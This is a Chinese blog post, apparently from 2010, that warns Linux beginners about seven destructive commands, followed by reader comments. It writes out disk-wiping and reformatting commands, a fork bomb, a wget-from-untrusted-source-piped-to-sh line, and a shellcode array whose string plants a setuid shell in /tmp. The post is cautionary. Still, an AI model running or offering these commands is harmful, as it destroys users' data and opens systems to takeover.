`

7个致命的 Linux 命令

阅读更多

如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。

  1. rm -rf / 此命令将递归并强制删除 / 目录下的所有文件。
  2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";
    
    这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
  3. mkfs.ext3 /dev/sda 这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
  4. :(){ :|:& };: 著名的 fork bomp,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
  5. any_command > /dev/sda 使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
  6. wget http://some_untrusted_source -O- | sh 不要从不信任的地方下载东西,这可能会获取恶意代码。
  7. mv /home/yourhomedirectory/* /dev/null 此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
分享到:
评论
16 楼 kevintse 2010-11-03  
[root@xxx-server]# rm -rf *
my best friend...
15 楼 xiaovsme 2010-10-31  
我擦,看得我有些震惊,mv,rm -rf 都是蛋疼的我常用的
14 楼 t0591 2010-10-31  
我要改改Root习惯了
13 楼 L--A--N--G 2010-10-28  
any_command > /dev/sda
能晕死你。
12 楼 airu 2010-10-27  
第7个命令,比较有意思,传送到异次元空间了。。。。。。
11 楼 glamey 2010-10-27  
flysnowxf 写道
我很喜欢用root搞rm -fr *,有神一般的感觉。


我经常用这个命令。
10 楼 flysnowxf 2010-10-27  
我很喜欢用root搞rm -fr *,有神一般的感觉。
9 楼 小小流浪猪 2010-10-26  
看来大家都或多或少的用到过
8 楼 guanlicome 2010-10-26  
tllyf 写道
致命  的一个用户是root用户  有更绝的是 在跟目录执行这些危险命令    有些盲目的linux人才执行了之后要还不承认。  公司服务器上一个用户下 由于权限给多了 经常被搞没  幸好是个人用户目录下 
find  .  -name "*"|xargs grep rm 这样的命令 不会用的人最好不要学



这种情况发生过,这种尤其是find命令找不到的情况下才可怕呢,到当前用户的目录下去rm, ;;;
7 楼 kingwood2005 2010-10-26  
看了让人惊魂啊
6 楼 nurenok 2010-10-26  
最常用的是进入ubuntu之后直接sudo-i,然后开始工作。貌似真的很危险啊,要是真的出了问题我恐怕得跑路了
5 楼 tllyf 2010-10-25  
致命  的一个用户是root用户  有更绝的是 在跟目录执行这些危险命令    有些盲目的linux人才执行了之后要还不承认。  公司服务器上一个用户下 由于权限给多了 经常被搞没  幸好是个人用户目录下 
find  .  -name "*"|xargs grep rm 这样的命令 不会用的人最好不要学
4 楼 agile_boy 2010-10-25  
更要命的是,unix/linuxer直接使用root操作的习惯。
3 楼 cwalet 2010-10-25  
每条都是致命的诱惑啊~
2 楼 andy54321 2010-10-25  
现在逐渐改掉收集XX大全等的习惯了
1 楼 dfsghgk56 2010-10-25  
Linux常用命令全集汇总 免费下载http://www.phome.asia/forum/thread/24667.html

相关推荐

    7 个致命的 Linux 命令

    ### 7 个致命的 Linux 命令 在 Linux 操作系统中,存在一些非常危险的命令,这些命令一旦被误用或恶意利用,可能会对系统造成不可逆转的损害。下面详细介绍这七个命令及其潜在的风险。 #### 1. `rm -rf /` **命令...

    危险,几条可致命的Linux命令!.pdf

    以下是几条可致命的 Linux 命令,作为 Linux 系统工程师,我们需要了解这些命令的危险性,并避免在实际操作中使用它们。 1. rm -rf / 命令 rm -rf / 命令将递归并强制删除 / 目录下的所有文件。这意味着,如果你...

    致命的7个Linux命令

    ### 致命的7个Linux命令详解 #### 1. `rm -rf /` 这个命令是许多Linux用户的噩梦。`rm` 是用于删除文件的命令,而 `-rf` 参数组合意味着强制递归删除文件及目录。当你在命令行输入 `rm -rf /` 并回车时,它会立即...

    Linux系统中popen函数的缺陷与改造方案.pdf

    Linux 操作系统中,popen 函数是一个常用的函数,用于执行 shell 命令并得到执行结果。然而,Linux 库提供的 popen 函数却有两个致命的缺陷。本文将分析这两个缺陷产生的原因,并给出改造方案。 popen 函数的使用...

    7个致命的LIUNX指令

    以下将详细讲解七个致命的 Linux 指令,以及为什么应避免使用它们。 1. `rm -rf /` 这个命令将删除根目录 `/` 下的所有文件和子目录,包括系统关键文件和用户数据,执行后可能导致系统无法正常运行。`-r` 参数表示...

    测试基础+Linux基础命令+python+monkey基础命令基础合集

    ### 测试基础知识详解 ...综上所述,软件测试是保证软件质量的关键环节,而 Linux 命令、Python 编程语言以及 Monkey 工具则是进行高效测试不可或缺的技能。了解这些基础知识和技术,有助于更好地开展软件测试工作。

    关于linux bash致命漏洞的情况以及预防措施

    ### 关于Linux Bash致命漏洞的情况及预防措施 #### 漏洞概述 近期,一个被称为比“心脏出血”(Heartbleed)更为严重的Linux安全漏洞——Bash漏洞被公开披露。这一漏洞存在于广泛使用的Bash shell中,允许攻击者...

    《Linux从入门到精通》

    E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...

    The Linux Process Manager

    在Linux系统中,每个进程都被一个`task_struct`结构体所表示。这个结构体包含了描述进程状态的所有必要信息,如进程ID、父进程ID、内存映射、文件描述符列表以及进程当前的状态(运行、就绪或等待)等。`task_struct...

    linux从入门到精通.chm

    E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...

    Linux从入门到精通

    E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...

    Linux下C语言实现文件拷贝

    ##### 7. 写入目标文件 ```c ptr = buffer; while ((bytes_write = write(to_fd, ptr, bytes_read))) { //... } ``` 这部分代码使用 `write()` 函数将缓冲区中的数据写入目标文件。如果写入成功,继续执行;如果...

    linux线程技术

    例如,使用ps命令会看到每个线程作为一个单独的进程显示,而不是一个进程内的多个线程。 Linuxthreads通过一个管理线程来解决线程退出时的资源清理问题。当线程退出时,管理线程接收到SIGUSER1信号,并检查子线程的...

    linux下管理员强行踢出用户的命令使用方法.docx

    总结来说,Linux下管理员强制踢出用户主要涉及`w`和`pkill`两个命令。`w`用于获取用户登录信息,`pkill`配合`-kill`和`-t`选项用于发送信号强制结束指定终端上的用户会话。通过熟练掌握这些命令,管理员可以有效地...

    2005详细介绍Linux从入门到精通

    E.6.10 在安装时, 我得到致命信号 11 或 7. 这是什么意思? 我该做什么? E.6.11 在安装时, Linux无法工作在我的Ultra DMA IDE驱动器和主机板上, 怎么办? E.6.12 我的机器有一个PCI Ultra DMA 控制器. 我可以安装...

    Linux修改ip配置文件.doc

    * `UUID`:通用唯一识别码,每个网卡都有一个唯一的UUID,不能重复,否则两台 Linux 机器 只有一台可以上网。 * `DEVICE`:网卡设备名称,必须和 `NAME` 值一样。 * `ONBOOT`:是否开机启动,设置为 `yes`,表示开机...

    LR监控linux之详解rstatd的安装

    在这个过程中,可能会遇到一些警告信息(如源码示例中的警告),但只要没有出现致命错误,通常情况下是可以忽略的。 ##### 4. 安装 编译完成后,可以使用`make install`命令将`rstatd`安装到系统中: ```bash ...

    KP问题定位

    当使用不支持的SCSI设备类型或命令时,可能会触发内核恐慌,因为系统可能无法正确处理这些设备,导致命令错误。另外,通过设置选项,可以启用或禁用SCSI卡,并要求驱动程序在系统过热时调用panic函数,以避免因温度...

Global site tag (gtag.js) - Google Analytics